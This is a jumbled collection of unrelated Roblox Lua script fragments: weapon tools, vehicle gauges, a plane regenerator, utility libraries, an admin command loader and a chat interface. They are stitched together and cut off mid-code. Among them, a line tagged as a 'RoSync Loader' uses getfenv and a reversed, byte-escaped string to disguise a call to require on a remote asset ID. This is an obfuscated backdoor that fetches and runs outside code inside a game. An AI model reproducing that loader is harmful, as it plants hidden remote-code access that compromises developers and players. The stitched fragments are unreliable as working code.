Instance.new("BodyVelocity") force.velocity = Vector3.new(0,10,0) --Tool.Parent.Torso.CFrame.lookVector * 80 force.Parent = Tool.Parent.Torso wait(.25) swordOut() wait(.25) force.Parent = nil wait(.5) swordUp() damage = slash_damage end function swordUp() Tool.GripForward = Vector3.new(-1,0,0) Tool.GripRight = Vector3.new(0,1,0) Tool.GripUp = Vector3.new(0,0,1) end function swordOut() Tool.GripForward = Vector3.new(0,0,1) Tool.GripRight = Vector3.new(0,-1,0) Tool.GripUp = Vector3.new(-1,0,0) end function swordAcross() -- parry end Tool.Enabled = true local last_attack = 0 function onActivated() if not Tool.Enabled then return end Tool.Enabled = false local character = Tool.Parent; local humanoid = character.Humanoid if humanoid == nil then print("Humanoid not found") return end t = r.Stepped:wait() if (t - last_attack < .2) then lunge() else attack() end last_attack = t --wait(.5) Tool.Enabled = true end function onEquipped() UnsheathSound:play() end script.Parent.Activated:connect(onActivated) script.Parent.Equipped:connect(onEquipped) connection = sword.Touched:connect(blow)
-- The amount the aim will increase or decrease by -- decreases this number reduces the speed that recoil takes effect
local AimInaccuracyStepAmount = 0.01
-- goro7
local plr = game.Players.LocalPlayer function update() -- Calculate scale local scale = (plr.PlayerGui.MainGui.AbsoluteSize.Y - 20) / script.Parent.Parent.Size.Y.Offset if scale > 1.5 then scale = 1.5 end if scale > 0 then script.Parent.Scale = scale end end plr.PlayerGui:WaitForChild("MainGui"):GetPropertyChangedSignal("AbsoluteSize"):connect(update) update()
-- ROBLOX MOVED: expect/jasmineUtils.lua
local function keys(obj: Table, _hasKey: (Table, string) -> boolean) local keys_ = {} for key in pairs(obj) do if obj[key] ~= nil then table.insert(keys_, key) end end -- ROBLOX deviation: code omitted for adding 'extraKeys' since we don't have -- similar concerns of overlooking symbols and non-numeric properties for -- arrays -- Thus, in the array case we should always just be returning an empty array return keys_ end
--Player.CameraMode = "Classic"
if Player.PlayerGui:FindFirstChild("Scope") ~= nil then end end end end Tool.Equipped:connect(function(mouse) mouse.KeyDown:connect(ZOOM) end)
-- / WindLines / --
WindLines:Init(WindLinesSettings)
--[[** ensures value is a number where min < value < max @param min The minimum to use @param max The maximum to use @returns A function that will return true iff the condition is passed **--]]
function t.numberConstrainedExclusive(min, max) assert(t.number(min) and t.number(max)) local minCheck = t.numberMinExclusive(min) local maxCheck = t.numberMaxExclusive(max) return function(value) local minSuccess, minErrMsg = minCheck(value) if not minSuccess then return false, minErrMsg or "" end local maxSuccess, maxErrMsg = maxCheck(value) if not maxSuccess then return false, maxErrMsg or "" end return true end end
--[[ Poppercam - Occlusion module that brings the camera closer to the subject when objects are blocking the view. --]]
local ZoomController = require(script.Parent:WaitForChild("ZoomController")) local TransformExtrapolator = {} do TransformExtrapolator.__index = TransformExtrapolator local CF_IDENTITY = CFrame.new() local function cframeToAxis(cframe: CFrame): Vector3 local axis: Vector3, angle: number = cframe:toAxisAngle() return axis*angle end local function axisToCFrame(axis: Vector3): CFrame local angle: number = axis.magnitude if angle > 1e-5 then return CFrame.fromAxisAngle(axis, angle) end return CF_IDENTITY end local function extractRotation(cf: CFrame): CFrame local _, _, _, xx, yx, zx, xy, yy, zy, xz, yz, zz = cf:components() return CFrame.new(0, 0, 0, xx, yx, zx, xy, yy, zy, xz, yz, zz) end function TransformExtrapolator.new() return setmetatable({ lastCFrame = nil, }, TransformExtrapolator) end function TransformExtrapolator:Step(dt: number, currentCFrame: CFrame) local lastCFrame = self.lastCFrame or currentCFrame self.lastCFrame = currentCFrame local currentPos = currentCFrame.p local currentRot = extractRotation(currentCFrame) local lastPos = lastCFrame.p local lastRot = extractRotation(lastCFrame) -- Estimate velocities from the delta between now and the last frame -- This estimation can be a little noisy. local dp = (currentPos - lastPos)/dt local dr = cframeToAxis(currentRot*lastRot:inverse())/dt local function extrapolate(t) local p = dp*t + currentPos local r = axisToCFrame(dr*t)*currentRot return r + p end return { extrapolate = extrapolate, posVelocity = dp, rotVelocity = dr, } end function TransformExtrapolator:Reset() self.lastCFrame = nil end end
--easter egg
mouse.KeyDown:connect(function(key) if key=="u" and script.Blown.Value == false then Heat = Heat+1 end end) if not FE then radiator.Oil.Enabled = false radiator.Antifreeze.Enabled = false radiator.Liquid.Volume = 0 radiator.Fan:Play() radiator.Fan.Pitch = 1+FanSpeed radiator.Steam:Play() radiator.Liquid:Play() script.Blown.Value = false while wait(.2) do if Heat > FanTemp and Fan == true then FanCool = -FanSpeed radiator.Fan.Volume = FanVolume elseif Heat < FanTempAlpha then FanCool = 0 radiator.Fan.Volume = 0 end Load = ((script.Parent.Parent.Values.Throttle.Value*script.Parent.Parent.Values.RPM.Value*10*OverheatSpeed)/math.ceil((car.DriveSeat.Velocity.magnitude+.0000001)/100)/75000)-CoolingEfficiency Heat = math.max(RunningTemp,(Heat+Load)+FanCool) if Heat >= BlowupTemp then Heat = BlowupTemp radiator.Break:Play() radiator.Liquid.Volume = .5 radiator.Oil.Enabled = true radiator.Antifreeze.Enabled = true script.Parent.Parent.IsOn.Value = false script.Blown.Value = true car.Body.ExhaustH.Fire.Fire.Enabled = true car.Body.ExhaustH.Fire.FireLight.Enabled = true car.Body.ExhaustH.Fire.Smoke.Enabled = true elseif Heat >= BlowupTemp-20 then radiator.Smoke.Transparency = NumberSequence.new((BlowupTemp-Heat)/10,1) radiator.Smoke.Enabled = true radiator.Steam.Volume = math.abs(((BlowupTemp-Heat)-10)/10) else radiator.Smoke.Enabled = false radiator.Steam.Volume = 0 car.Body.ExhaustH.Fire.Fire.Enabled = false car.Body.ExhaustH.Fire.FireLight.Enabled = false car.Body.ExhaustH.Fire.Smoke.Enabled = false end script.Celsius.Value = Heat script.Parent.Temp.Text = math.floor(Heat).."°c" script.Parent.Temp.TextColor3 = Color3.fromRGB(255,255-((Heat-FanTemp)*10),255-((Heat-FanTemp)*10)) end else handler:FireServer("Initialize",FanSpeed) while wait(.2) do if Heat > FanTemp and Fan == true then FanCool = -FanSpeed handler:FireServer("FanVolume",FanVolume) else FanCool = 0 handler:FireServer("FanVolume",0) end Load = ((script.Parent.Parent.Values.Throttle.Value*script.Parent.Parent.Values.RPM.Value*10*OverheatSpeed)/math.ceil((car.DriveSeat.Velocity.magnitude+.0000001)/100)/75000)-CoolingEfficiency Heat = math.max(RunningTemp,(Heat+Load)+FanCool) if Heat >= BlowupTemp then Heat = BlowupTemp handler:FireServer("Blown") script.Parent.Parent.IsOn.Value = false script.Blown.Value = true elseif Heat >= BlowupTemp-10 then handler:FireServer("Smoke",true,BlowupTemp,Heat) else handler:FireServer("Smoke",false,BlowupTemp,Heat) end script.Celsius.Value = Heat script.Parent.Temp.Text = math.floor(Heat).."°c" end end
-- A graph object which can have dependencies.
export type Dependent = { update: (Dependent) -> boolean, dependencySet: Set<Dependency> }
-- Keep in mind this will stop working if roblox changes any of the default blocky meshes, though I doubt that would happen anytime soon, if ever. -- If it does happen, though, just put a new DefaultR15 rig in the script with up to date meshes and it will work again. -- Alternatively, let me know personally and I'll update this script. :)
--[=[ Converts an event into a Promise which resolves the next time the event fires. The optional `predicate` callback, if passed, will receive the event arguments and should return `true` or `false`, based on if this fired event should resolve the Promise or not. If `true`, the Promise resolves. If `false`, nothing happens and the predicate will be rerun the next time the event fires. The Promise will resolve with the event arguments. :::tip This function will work given any object with a `Connect` method. This includes all Roblox events. ::: ```lua -- Creates a Promise which only resolves when `somePart` is touched -- by a part named `"Something specific"`. return Promise.fromEvent(somePart.Touched, function(part) return part.Name == "Something specific" end) ``` @since 3.0.0 @param event Event -- Any object with a `Connect` method. This includes all Roblox events. @param predicate? (...: P) -> boolean -- A function which determines if the Promise should resolve with the given value, or wait for the next event to check again. @return Promise<P> ]=]
function Promise.fromEvent(event, predicate) predicate = predicate or function() return true end return Promise._new(debug.traceback(nil, 2), function(resolve, _, onCancel) local connection local shouldDisconnect = false local function disconnect() connection:Disconnect() connection = nil end -- We use shouldDisconnect because if the callback given to Connect is called before -- Connect returns, connection will still be nil. This happens with events that queue up -- events when there's nothing connected, such as RemoteEvents connection = event:Connect(function(...) local callbackValue = predicate(...) if callbackValue == true then resolve(...) if connection then disconnect() else shouldDisconnect = true end elseif type(callbackValue) ~= "boolean" then error("Promise.fromEvent predicate should always return a boolean") end end) if shouldDisconnect and connection then return disconnect() end onCancel(disconnect) end) end return Promise
--!strict --[=[ @function removeValue @within Array @param array {T} -- The array to remove the value from. @param value T -- The value to remove. @return {T} -- The array with the value removed. Removes a value from an array. ```lua local array = { 1, 2, 3 } local new = RemoveValue(array, 2) -- { 1, 3 } ``` ]=]
local function removeValue<T>(array: { T }, value: T): { T } local result = {} for index, arrValue in ipairs(array) do if arrValue ~= value then table.insert(result, arrValue) end end return result end return removeValue
-- Using the FindPartsInRegion3 API, this regen is "smart" and will NOT regenerate if something is in the way. -- If something IS in the way, the script will wait for the area to be clear.
local plane = script.Parent.Plane.Plane:clone() script.Parent.Plane.Plane.Cloned.Value,plane.Cloned.Value = true,true script.Parent.Plane.Plane.Origin.Value = script.Parent local regen = script.Parent.Regen local active = false local downtime = 5 -- This is the only thing you should edit in any script in this plane kit. Every other piece of code should be left alone plane.PrimaryPart = plane.MainParts.Main local planeSize = plane:GetModelSize() local planePos = plane:GetModelCFrame().p local v0 = (planePos-(planeSize/2)) local v1 = (planePos+(planeSize/2)) local region = Region3.new(v0,v1) -- Creates a 3D space using two Vector3s local gui = Instance.new("ScreenGui") gui.Name = "RegenGui" local f = Instance.new("Frame",gui) f.Name = "Message" f.Style = Enum.FrameStyle.RobloxRound f.Position = UDim2.new(0.5,-150,0.25,-15) f.Size = UDim2.new(0,300,0,30) local t = Instance.new("TextLabel",f) t.Name = "Msg" t.Text = "Awaiting area to be clear for regeneration to continue" t.TextColor3 = Color3.new(1,1,1) t.Font = Enum.Font.ArialBold t.FontSize = Enum.FontSize.Size12 t.Position = UDim2.new(0.5,0,0.5,0) function getPassengers(pln) -- Checks for other players in seats on the plane. If no one is on board, the plane will be marked as "inactive" and removed local plrs = {} local function scan(parent) for _,v in pairs(parent:GetChildren()) do if ((v:IsA("Seat")) or (v:IsA("VehicleSeat"))) then if ((v:findFirstChild("SeatWeld")) and (v.SeatWeld.Part1)) then local plr = game.Players:GetPlayerFromCharacter(v.SeatWeld.Part1.Parent) if (plr) then table.insert(plrs,plr) end end end scan(v) end end scan(pln) return plrs end function deleteInactivePlanes() for _,v in pairs(script.Parent:GetChildren()) do if (v.Name == plane.Name) then local passengers = getPassengers(v) if (#passengers == 0) then v:remove() end end end end function regionIsClear() local parts = game.Workspace:findPartsInRegion3(region,regen,100) return (#parts == 0) end function regenMain() local p = plane:clone() p.Parent = script.Parent p:MakeJoints() end regen.Touched:connect(function(obj) if (active) then return end local plr = game.Players:GetPlayerFromCharacter(obj.Parent) if (not plr) then return end active = true deleteInactivePlanes() for i = 0,0.5,0.1 do regen.Transparency = i wait() end regen.Transparency = 0.5 while (not regionIsClear()) do wait(0.5) if ((plr) and (plr.Parent) and (plr:findFirstChild("PlayerGui"))) then gui.Parent = plr.PlayerGui end end gui.Parent = nil regenMain() wait(downtime) for i = 0.5,0,-0.1 do regen.Transparency = i wait() end regen.Transparency = 0 active = false end)
--// F key, Manual
mouse.KeyUp:connect(function(key) if key=="f" then script.Parent.Parent.Man.TextTransparency = 0.8 veh.Lightbar.middle.Man:Stop() veh.Lightbar.middle.Wail.Volume = 2 veh.Lightbar.middle.Yelp.Volume = 2 veh.Lightbar.middle.Priority.Volume = 2 veh.Lightbar.middle.Hilo.Volume = 2 veh.Lightbar.middle.Rwail.Volume = 2 script.Parent.Parent.MBOV.Visible = true script.Parent.Parent.MBOV.Text = "Made by OfficerVargas" end end) mouse.KeyDown:connect(function(key) if key=="j" then veh.Lightbar.middle.Beep:Play() veh.Lightbar.RemoteEvent:FireServer(true) end end) mouse.KeyDown:connect(function(key) if key=="DPadDown" then veh.Lightbar.middle.Beep:Play() veh.Lightbar.RemoteEvent:FireServer(true) end end)
--Sounds
local equipSound = m4:WaitForChild("Equip") local fireSound = m4:WaitForChild("Fire") local reloadSound = m4:WaitForChild("Reload") local knifeEquipSound = knife:WaitForChild("EquipSound") local knifeAttackSound = knife:WaitForChild("AttackSound") local knifeStabSound = knife:WaitForChild("StabSound") local hurtSound = myHead:WaitForChild("Hurt") local pinSound = grenade.Pin
-- << FUNCTIONS >>
function module:Setup() local commandsToAdd = require(main.server.Modules.Commands) for i, command in pairs(commandsToAdd) do if type(command) == "table" then --ChangeRankRequiredToUseCommand local commandName = string.lower(command.Name) local changeRankByNameSetting = main.settings.ChangeRankRequiredToUseCommand or main.settings.SetCommandRankByName local changeRank = changeRankByNameSetting[command.Name] or changeRankByNameSetting[commandName] if changeRank then if tonumber(changeRank) == nil then changeRank = main:GetModule("cf"):GetRankId(changeRank) end command.Rank = changeRank elseif commandName == "cmdbar" or commandName == "cmdbar2" then local settingName = commandName:gsub("^%a", function(c) return(string.upper(c)) end) local setting = main.settings[settingName] if setting then if tonumber(setting) == nil then setting = main:GetModule("cf"):GetRankId(setting) end command.Rank = setting main.settings[settingName] = setting end end -- if commandName ~= "" then local function getCommandTables() local template, modified = {},{} for dataName, data in pairs(command) do if main:GetModule("cf"):FindValue(main.commandInfoToShowOnClient, dataName) then template[dataName] = data elseif dataName == "UnFunction" and type(data) == "function" then template["UnFunction"] = "un".. string.gsub(command.Name, "%a", function(c) return string.upper(c) end, 1) end modified[dataName] = data end -- local lowerCaseArgs = {} if command.Args then for i,v in pairs(command.Args) do table.insert(lowerCaseArgs, string.lower(v)) end end template.RankName = main:GetModule("cf"):GetRankName(command.Rank) template.Args = lowerCaseArgs modified.Args = lowerCaseArgs -- return template, modified end local infoTemplate, modifiedCommand = getCommandTables() table.insert(main.commandInfo, infoTemplate) main.commands[commandName] = modifiedCommand --Special Colors if command.SpecialColors then for i,v in pairs(main.settings.Colors) do local shortName = v[1] if shortName ~= "w" then local newTemplate, newModifiedCommand = getCommandTables() local commandColorName = command.Name..shortName local color = v[3] newTemplate.SpecialColor = color newTemplate.SpecialColorName = shortName newTemplate.OriginalName = command.Name newTemplate.Name = commandColorName newModifiedCommand.SpecialColor = color newModifiedCommand.Name = commandColorName newModifiedCommand.OriginalName = command.Name table.insert(main.commandInfo, newTemplate) main.commands[commandColorName] = newModifiedCommand end end end -- for infoName, infoTable in pairs(main.infoOnAllCommands) do local commandStat = command[infoName] if type(commandStat) == "table" then for i,v in pairs(commandStat) do if infoName ~= "Contributors" then v = string.lower(v) end if infoName == "Contributors" or infoName == "Tags" then if infoName == "Contributors" and tonumber(v) then v = main.main:GetModule("cf"):GetName(v) end local statCount = main.infoOnAllCommands[infoName][v] if statCount == nil then --if infoName ~= "Contributors" or not isCustomCommands then main.infoOnAllCommands[infoName][v] = 1 --end else main.infoOnAllCommands[infoName][v] = statCount + 1 end elseif infoName == "Aliases" then main.infoOnAllCommands[infoName][v] = commandName else main.infoOnAllCommands[infoName][v] = true end end end end main.commandRanks[commandName] = command.Rank end end end end return module
-- To make this work, simply group it with the model you want!
local modelbackup = script.Parent.Parent:FindFirstChild(modelname):clone() local trigger = script.Parent enabled = true function onTouched(hit) if enabled == true then enabled = false trigger.BrickColor = BrickColor.new("Really black") if script.Parent.Parent:FindFirstChild(modelname) ~= nil then script.Parent.Parent:FindFirstChild(modelname):Destroy() end wait(5) local modelclone = modelbackup:clone() modelclone.Parent = script.Parent.Parent modelclone:MakeJoints() wait(WaitTime) enabled = true trigger.BrickColor = BrickColor.new("Bright violet") end end script.Parent.Touched:connect(onTouched)
--[[ Last synced 10/14/2020 09:26 || RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
--// Animations
local L_157_ function IdleAnim(L_318_arg1) L_24_.IdleAnim(L_3_, L_157_, { L_44_, L_45_, L_46_ }); end; function EquipAnim(L_319_arg1) L_24_.EquipAnim(L_3_, L_157_, { L_44_ }); end; function UnequipAnim(L_320_arg1) L_24_.UnequipAnim(L_3_, L_157_, { L_44_ }); end; function FireModeAnim(L_321_arg1) L_24_.FireModeAnim(L_3_, L_157_, { L_44_, L_46_, L_45_, L_54_ }); end function ReloadAnim(L_322_arg1) L_24_.ReloadAnim(L_3_, L_157_, { L_45_, L_46_ }); end; function BoltingBackAnim(L_323_arg1) L_24_.BoltingBackAnim(L_3_, L_157_, { L_48_ }); end function BoltingForwardAnim(L_324_arg1) L_24_.BoltingForwardAnim(L_3_, L_157_, { L_48_ }); end function BoltingForwardAnim(L_325_arg1) L_24_.BoltingForwardAnim(L_3_, L_157_, { L_48_ }); end function BoltBackAnim(L_326_arg1) L_24_.BoltBackAnim(L_3_, L_157_, { L_48_, L_46_, L_45_, L_44_, L_58_ }); end function BoltForwardAnim(L_327_arg1) L_24_.BoltForwardAnim(L_3_, L_157_, { L_48_, L_46_, L_45_, L_44_, L_58_ }); end function InspectAnim(L_328_arg1) L_24_.InspectAnim(L_3_, L_157_, { L_46_, L_45_ }); end function nadeReload(L_329_arg1) L_24_.nadeReload(L_3_, L_157_, { L_45_, L_46_ }); end
-- inspd.Rotation = -115 + (220 / 220) * (math.abs(script.Parent.Parent.Values.Velocity.Value.Magnitude*((10/12) * (60/88))))
end) script.Parent.Speed.MouseButton1Click:connect(function() if currentUnits==#UNITS then currentUnits = 1 else currentUnits = currentUnits+1 end for i,v in pairs(script.Parent.Speedo:GetChildren()) do v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns" end script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units end) mouse.KeyDown:connect(function(key) if key=="v" then script.Parent.Visible=not script.Parent.Visible end end) while wait() do local gearText = script.Parent.Parent.Values.Gear.Value if gearText == 0 then gearText = "N" car.Body.Dash.Gear.G.Gear.Text = "N" elseif gearText == -1 then gearText = "R" car.Body.Dash.Gear.G.Gear.Text = "R" elseif gearText >= 1 then if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then gearText = "D" end end script.Parent.Gear.Text = gearText car.Body.Dash.Gear.G.Gear.Text = gearText end
-- Code for handling controls of various data types --
local Controls = {} Controls["default"] = function(object, propertyData, readOnly) local propertyName = propertyData["Name"] local propertyType = propertyData["ValueType"] local box = CreateTextBox(readOnly) box.Size = UDim2.new(1, -2 * Styles.Margin, 1, 0) box.Position = UDim2.new(0, Styles.Margin, 0, 0) local function update() local value = object[propertyName] box.Text = ToString(value, propertyType) end if not readOnly then box.FocusLost:connect(function(enterPressed) Set(object, propertyData, ToValue(box.Text,propertyType)) update() end) end update() object.Changed:connect(function(property) if (property == propertyName) then update() end end) return box end Controls["bool"] = function(object, propertyData, readOnly) local propertyName = propertyData["Name"] local checked = object[propertyName] local checkbox, setValue = CreateCheckbox(checked, readOnly, function(value) Set(object, propertyData, not checked) end) checkbox.Position = UDim2.new(0, Styles.Margin, 0, Styles.Margin) setValue(checked) local function update() checked = object[propertyName] setValue(checked) end object.Changed:connect(function(property) if (property == propertyName) then update() end end) if object:IsA("BoolValue") then object.Changed:connect(function(val) update() end) end update() return checkbox end Controls["BrickColor"] = function(object, propertyData, readOnly) local propertyName = propertyData["Name"] local frame,label,brickColorBox = CreateBrickColor(readOnly, function(brickColor) Set(object, propertyData, brickColor) end) local function update() local value = object[propertyName] brickColorBox.BackgroundColor3 = value.Color label.Text = tostring(value) end update() object.Changed:connect(function(property) if (property == propertyName) then update() end end) return frame end Controls["Color3"] = function(object, propertyData, readOnly) local propertyName = propertyData["Name"] local frame,textBox,colorBox = CreateColor3Control(readOnly) textBox.FocusLost:connect(function(enterPressed) Set(object, propertyData, ToValue(textBox.Text,"Color3")) local value = object[propertyName] colorBox.BackgroundColor3 = value textBox.Text = ToString(value, "Color3") end) local function update() local value = object[propertyName] colorBox.BackgroundColor3 = value textBox.Text = ToString(value, "Color3") end update() object.Changed:connect(function(property) if (property == propertyName) then update() end end) return frame end Controls["Enum"] = function(object, propertyData, readOnly) local propertyName = propertyData["Name"] local propertyType = propertyData["ValueType"] local enumName = object[propertyName].Name local enumNames = {} for _,enum in pairs(Enum[tostring(propertyType)]:GetEnumItems()) do table.insert(enumNames, enum.Name) end local dropdown, propertyLabel = CreateDropDown(enumNames, enumName, readOnly, function(value) Set(object, propertyData, value) end) --dropdown.Parent = frame local function update() local value = object[propertyName].Name propertyLabel.Text = tostring(value) end update() object.Changed:connect(function(property) if (property == propertyName) then update() end end) return dropdown end Controls["Object"] = function(object, propertyData, readOnly) local propertyName = propertyData["Name"] local propertyType = propertyData["ValueType"] local box = CreateObject(readOnly,function()end) box.Size = UDim2.new(1, -2 * Styles.Margin, 1, 0) box.Position = UDim2.new(0, Styles.Margin, 0, 0) local function update() if AwaitingObjectObj == object then if AwaitingObjectValue == true then box.Text = "Select an Object" return end end local value = object[propertyName] box.Text = ToString(value, propertyType) end if not readOnly then box.MouseButton1Click:connect(function() if AwaitingObjectValue then AwaitingObjectValue = false update() return end AwaitingObjectValue = true AwaitingObjectObj = object AwaitingObjectProp = propertyData box.Text = "Select an Object" end) box.Cancel.Visible = true box.Cancel.MouseButton1Click:connect(function() object[propertyName] = nil end) end update() object.Changed:connect(function(property) if (property == propertyName) then update() end end) if object:IsA("ObjectValue") then object.Changed:connect(function(val) update() end) end return box end function GetControl(object, propertyData, readOnly) local propertyType = propertyData["ValueType"] local control = nil if Controls[propertyType] then control = Controls[propertyType](object, propertyData, readOnly) elseif RbxApi.IsEnum(propertyType) then control = Controls["Enum"](object, propertyData, readOnly) else control = Controls["default"](object, propertyData, readOnly) end return control end
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 30 -- cooldown for use of the tool again ZoneModelName = "Heal zone" -- name the zone model MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
--[[ Returns the system associated with specified model ]]
function SystemManager.getSystemByModel(model) return TableUtils.find( systems, function(system) if system:getModel() == model then return true end end ) end
--[=[ Preloads assets :::note If strings are passed in, it only preloads textures, and will preload meshes, but only to http client. ::: @param contentIdList { Instance | string } @return Promise ]=]
function ContentProviderUtils.promisePreload(contentIdList) assert(type(contentIdList) == "table", "Bad contentIdList") return Promise.spawn(function(resolve, reject) local ok, err = pcall(function() ContentProvider:PreloadAsync(contentIdList) end) if not ok then return reject(err) end resolve() end) end return ContentProviderUtils
--[[** ensures value is either nil or passes check @param check The check to use @returns A function that will return true iff the condition is passed **--]]
function t.optional(check) assert(t.callback(check)) return function(value) if value == nil then return true end local success, errMsg = check(value) if success then return true else return false, string.format("(optional) %s", errMsg or "") end end end
--// All global vars will be wiped/replaced except script --// All guis are autonamed client.Variables.CodeName..gui.Name --// Be sure to update the console gui's code if you change stuff
return function(data) local client, cPcall, Pcall, Routine, service, gTable = client, cPcall, Pcall, Routine, service, gTable local gui = script.Parent.Parent local localplayer = service.Player local mouse = localplayer:GetMouse() local playergui = service.PlayerGui local storedChats = client.Variables.StoredChats local desc = gui.Desc local nohide = data.KeepChat local function Expand(ent, point) ent.MouseLeave:Connect(function(x, y) point.Visible = false end) ent.MouseMoved:Connect(function(x, y) point.Text = ent.Desc.Value point.Size = UDim2.new(0, 10000, 0, 10000) local bounds = point.TextBounds.X local rows = math.floor(bounds / 500) rows = rows + 1 if rows < 1 then rows = 1 end local newx = 500 if bounds < 500 then newx = bounds end point.Visible = true point.Size = UDim2.new(0, newx + 10, 0, rows * 20) point.Position = UDim2.new(0, x, 0, y - 40 - (rows * 20)) end) end local function UpdateChat() if gui then local globalTab = gui.Drag.Frame.Frame.Global local teamTab = gui.Drag.Frame.Frame.Team local localTab = gui.Drag.Frame.Frame.Local local adminsTab = gui.Drag.Frame.Frame.Admins local crossTab = gui.Drag.Frame.Frame.Cross local entry = gui.Entry local tester = gui.BoundTest globalTab:ClearAllChildren() teamTab:ClearAllChildren() localTab:ClearAllChildren() adminsTab:ClearAllChildren() crossTab:ClearAllChildren() local globalNum = 0 local teamNum = 0 local localNum = 0 local adminsNum = 0 local crossNum = 0 for i, v in pairs(storedChats) do local clone = entry:Clone() clone.Message.Text = service.MaxLen(v.Message, 100) clone.Desc.Value = v.Message Expand(clone, desc) if not string.match(v.Player, "%S") then clone.Nameb.Text = v.Player else clone.Nameb.Text = "["..v.Player.."]: " end clone.Visible = true clone.Nameb.Font = "SourceSansBold" local color = v.Color or BrickColor.White() clone.Nameb.TextColor3 = color.Color tester.Text = "["..v.Player.."]: " local naml = tester.TextBounds.X + 5 if naml > 100 then naml = 100 end tester.Text = v.Message local mesl = tester.TextBounds.X clone.Message.Position = UDim2.new(0, naml, 0, 0) clone.Message.Size = UDim2.new(1, -(naml + 10), 1, 0) clone.Nameb.Size = UDim2.new(0, naml, 0, 20) clone.Visible = false clone.Parent = globalTab local rows = math.floor((mesl + naml) / clone.AbsoluteSize.X) rows = rows + 1 if rows < 1 then rows = 1 end if rows > 3 then rows = 3 end --rows = rows+1 clone.Parent = nil clone.Visible = true clone.Size = UDim2.new(1, 0, 0, rows * 20) if v.Private then clone.Nameb.TextColor3 = Color3.new(0.58823529411765, 0.22352941176471, 0.69019607843137) end if v.Mode == "Global" then clone.Position = UDim2.new(0, 0, 0, globalNum * 20) globalNum = globalNum + 1 if rows > 1 then globalNum = globalNum + rows - 1 end clone.Parent = globalTab elseif v.Mode == "Team" then clone.Position = UDim2.new(0, 0, 0, teamNum * 20) teamNum = teamNum + 1 if rows > 1 then teamNum = teamNum + rows - 1 end clone.Parent = teamTab elseif v.Mode == "Local" then clone.Position = UDim2.new(0, 0, 0, localNum * 20) localNum = localNum + 1 if rows > 1 then localNum = localNum + rows - 1 end clone.Parent = localTab elseif v.Mode == "Admins" then clone.Position = UDim2.new(0, 0, 0, adminsNum * 20) adminsNum = adminsNum + 1 if rows > 1 then adminsNum = adminsNum + rows - 1 end clone.Parent = adminsTab elseif v.Mode == "Cross" then clone.Position = UDim2.new(0, 0, 0, crossNum * 20) crossNum = crossNum + 1 if rows > 1 then crossNum = crossNum + rows - 1 end clone.Parent = crossTab end end globalTab.CanvasSize = UDim2.new(0, 0, 0, ((globalNum) * 20)) teamTab.CanvasSize = UDim2.new(0, 0, 0, ((teamNum) * 20)) localTab.CanvasSize = UDim2.new(0, 0, 0, ((localNum) * 20)) adminsTab.CanvasSize = UDim2.new(0, 0, 0, ((adminsNum) * 20)) crossTab.CanvasSize = UDim2.new(0, 0, 0, ((crossNum) * 20)) local glob = (((globalNum) * 20) - globalTab.AbsoluteWindowSize.Y) local tea = (((teamNum) * 20) - teamTab.AbsoluteWindowSize.Y) local loc = (((localNum) * 20) - localTab.AbsoluteWindowSize.Y) local adm = (((adminsNum) * 20) - adminsTab.AbsoluteWindowSize.Y) local cro = (((crossNum) * 20) - crossTab.AbsoluteWindowSize.Y) if glob < 0 then glob = 0 end if tea < 0 then tea = 0 end if loc < 0 then loc = 0 end if adm < 0 then adm = 0 end if cro < 0 then cro = 0 end globalTab.CanvasPosition = Vector2.new(0, glob) teamTab.CanvasPosition = Vector2.new(0, tea) localTab.CanvasPosition = Vector2.new(0, loc) adminsTab.CanvasPosition = Vector2.new(0, adm) crossTab.CanvasPosition = Vector2.new(0, cro) end end if not storedChats then client.Variables.StoredChats = {} storedChats = client.Variables.StoredChats end gTable:Ready() local bubble = gui.Bubble local toggle = gui.Toggle local drag = gui.Drag local frame = gui.Drag.Frame local frame2 = gui.Drag.Frame.Frame local box = gui.Drag.Frame.Chat local globalTab = gui.Drag.Frame.Frame.Global local teamTab = gui.Drag.Frame.Frame.Team local localTab = gui.Drag.Frame.Frame.Local local adminsTab = gui.Drag.Frame.Frame.Admins local crossTab = gui.Drag.Frame.Frame.Cross local global = gui.Drag.Frame.Global local team = gui.Drag.Frame.Team local localb = gui.Drag.Frame.Local local admins = gui.Drag.Frame.Admins local cross = gui.Drag.Frame.Cross if not nohide then client.Variables.CustomChat = true client.Variables.ChatEnabled = false service.StarterGui:SetCoreGuiEnabled('Chat', false) else drag.Position = UDim2.new(0, 10, 1, -180) end local dragger = gui.Drag.Frame.Dragger local fakeDrag = gui.Drag.Frame.FakeDragger local boxFocused = false local mode = "Global" local lastChat = 0 local lastClick = 0 local isAdmin = client.Remote.Get("CheckAdmin") if not isAdmin then admins.BackgroundTransparency = 0.8 admins.TextTransparency = 0.8 cross.BackgroundTransparency = 0.8 cross.TextTransparency = 0.8 end if client.UI.Get("HelpButton") then toggle.Position = UDim2.new(1, -90, 1, -45) end local function openGlobal() globalTab.Visible = true teamTab.Visible = false localTab.Visible = false adminsTab.Visible = false crossTab.Visible = false global.Text = "Global" mode = "Global" global.BackgroundTransparency = 0 team.BackgroundTransparency = 0.5 localb.BackgroundTransparency = 0.5 if isAdmin then admins.BackgroundTransparency = 0.5 admins.TextTransparency = 0 cross.BackgroundTransparency = 0.5 cross.TextTransparency = 0 else admins.BackgroundTransparency = 0.8 admins.TextTransparency = 0.8 cross.BackgroundTransparency = 0.8 cross.TextTransparency = 0.8 end end local function openTeam() globalTab.Visible = false teamTab.Visible = true localTab.Visible = false adminsTab.Visible = false crossTab.Visible = false team.Text = "Team" mode = "Team" global.BackgroundTransparency = 0.5 team.BackgroundTransparency = 0 localb.BackgroundTransparency = 0.5 admins.BackgroundTransparency = 0.5 if isAdmin then admins.BackgroundTransparency = 0.5 admins.TextTransparency = 0 cross.BackgroundTransparency = 0.5 cross.TextTransparency = 0 else admins.BackgroundTransparency = 0.8 admins.TextTransparency = 0.8 cross.BackgroundTransparency = 0.8 cross.TextTransparency = 0.8 end end local function openLocal() globalTab.Visible = false teamTab.Visible = false localTab.Visible = true adminsTab.Visible = false crossTab.Visible = false localb.Text = "Local" mode = "Local" global.BackgroundTransparency = 0.5 team.BackgroundTransparency = 0.5 localb.BackgroundTransparency = 0 